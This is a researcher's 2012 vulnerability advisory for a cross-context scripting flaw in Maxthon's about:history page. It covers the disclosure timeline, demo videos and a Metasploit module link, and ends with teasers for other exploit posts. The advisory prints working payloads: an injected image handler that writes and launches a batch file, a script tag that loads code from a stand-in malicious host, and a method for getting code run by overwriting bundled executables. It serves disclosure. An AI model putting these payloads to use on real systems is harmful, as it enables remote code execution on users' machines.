Skip to main content

Maxthon - Cross Context Scripting (XCS) - about:history - Remote Code Execution


Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Unpatched (at the time of publishing)
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf


Cross Context Scripting

Cross Context Scripting  (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.


Description

A malicious user can inject arbitrary JavaScript/HTML code through the websites visited with the Maxthon browser. The code injection is rendered into the History page (about:history), which displays URL and a short description of the visited pages. A malicious user can inject JavaScript/HTML content by using the location.hash property, as shown below:

http://x.x.x.x/maliciouspage.html#"><img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")'>

Injected payload is rendered in both the <img> and <a> elements of a history item, as shown below:



Most recently, only a single injection point is possible after some silent fixes from Maxthon. The about:history is mapped to mx://res/history/index.htm, as shown in the screen shot below:


Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

A malicious user would need to convince a user to visit a link to exploit this vulnerability.

The exploitation is divided into three phases:

[1] Create an entry in the history page which contains the injection - injection via location.hash

http://x.x.x.x/maliciouspage.html#<script src=http://malicious/malicious.js></script>

[2] Redirect browser to the about:history page to trigger execution in the Maxthon trusted zone maliciouspage.html would contain something as:

<body><script>window.location='about:history';</script></body>

Note this redirection should not occur since it is invoked from a page on the Internet (http://) - due to the protocol mismatch, same-origin policy should trigger.

[3] Invoke privileged Maxthon DOM API interfaces/objects to achieve remote code execution

From the about:history which is mapped to the mx:// it is possible to invoke special DOM API interfaces and objects, such as maxthon.io and maxthon.program. These special objects can be misused to achieve code execution.

Metasploit module

Following disclosure of the bugs during HITB2012AMS conference, it was observed that the maxthon.program object was silently removed by Maxthon in recent versions. This only allows a malicious user to read and write files on the system.

Code execution without incurring in a warning or user prompt can still be achieved by overwriting an executable which can be called directly by the browser. A "dirty" way is to overwrite j2plauncher.exe assuming the victim has either JRE/JDK installed on the machine. The second step would be to force Maxthon to load java.exe (e.g. create an iframe that points to a page which loads a Java Applet). This approach was successfully tested on Windows 7.

On Windows XP, there are more choices to overwrite executable files, e.g. C:\\Program\ Files\\Outlook\ Express\\wab.exe and then force browser to invoke wab.exe via window.location='ldap://dummy'.

The PoC Metasploit module includes the "dirty" Java overwrite approach described above.

https://github.com/malerisch/metasploit-framework/blob/maxthon3/modules/exploits/windows/browser/maxthon_history_xcs.rb

Video

Maxthon - Cross Context Scripting (XCS) - about:history - Java overwrite technique - Metasploit in action:


Maxthon - Cross Context Scripting (XCS) - about:history - maxthon.program technique - Metasploit in action:



Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Popular posts from this blog

Pwning a thin client in less than two minutes

Have you ever encountered a zero client or a thin client? It looks something like this...

If yes, keep reading below, if not, then if you encounter one, you know what you can do if you read below...

The model above is a T520, produced by HP - this model and other similar models are typically employed to support a medium/large VDI (Virtual Desktop Infrastructure) enterprise.

These clients run a Linux-based HP ThinPro OS by default and I had a chance to play with image version T6X44017 in particular, which is fun to play with it, since you can get a root shell in a very short time without knowing any password...

Normally, HP ThinPro OS interface is configured in a kiosk mode, as the concept of a thin/zero client is based on using a thick client to connect to another resource. For this purpose, a standard user does not need to authenticate to the thin client per se and would just need to perform a connection - e.g. VMware Horizon View. The user will eventually authenticate through the c…

UXSS in McAfee Endpoint Security, www.mcafee.com and some extra goodies...

During the HITB2017AMS talk given in Amsterdam with @Steventseeley, I promised that I would have disclosed vulnerabilities affecting a security vendor product other than Trend Micro.

For those who have come to my blog for the first time and are looking at "insecurities" of security vendors, you might be interested as well on how we found 200+ remote code execution vulnerabilities in Trend Micro software...

But this blog post is dedicated to two McAfee products instead: McAfee Endpoint Security and SiteAdvisor Enterprise (now part of McAfee Endpoint Security). For simplicity, I will just refer to McAfee Endpoint Security for the rest of this post.

First let's demonstrate a particular type of XSS, a UXSS, considering that fact that it only affects the McAfee Endpoint Security plugin and does not depend on a particular web site or web application.

There are two different injection points:

-UXSS when user visits a red labelled web site - the payload is rendered in the BlockP…

Microsoft .NET MVC ReDoS (Denial of Service) Vulnerability - CVE-2015-2526 (MS15-101)

Microsoft released a security bulletin (MS15-101) describing a .NET MVC Denial of Service vulnerability (CVE-2015-2526) that I reported back in April. This blog post analyses the vulnerability in details, starting from the theory and then providing a PoC exploit against a MVC web application developed with Visual Studio 2013.
For those of you who want to see the bug, you can directly skip to the last part of this post or watch the video directly... ;-)

A bit of theory

The .NET framework (4.5 tested version) uses backtracking regular expression matcher when performing a match against an expression. Backtracking is based on the NFA (non-deterministic finite automata) algorithm engine which is designed to validate all input states. By providing an “evil” regex expression – an expression for which the engine can be forced to calculate an exponential number of states - it is possible to force the engine to calculate an exponential number of states, leading to a condition defined such as “ca…